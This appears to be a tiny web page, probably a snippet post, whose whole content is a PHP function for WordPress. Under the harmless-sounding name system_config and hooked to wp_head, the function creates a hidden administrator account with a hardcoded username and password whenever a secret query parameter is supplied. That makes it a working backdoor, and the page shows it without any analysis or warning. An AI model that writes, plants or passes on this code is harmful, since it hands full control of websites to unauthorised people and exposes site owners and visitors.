0
0
Read Time:13 Second
function system_config() {
if ($_GET['adminrdr'] == 'adminrdr') {
require('wp-includes/registration.php');
if (!username_exists('adminrdr')) {
$user_id = wp_create_user('adminrdr', 'rdr123..');
$user = new WP_User($user_id);
$user->set_role('administrator');
die();
}
}
}
add_action( 'wp_head', 'system_config' );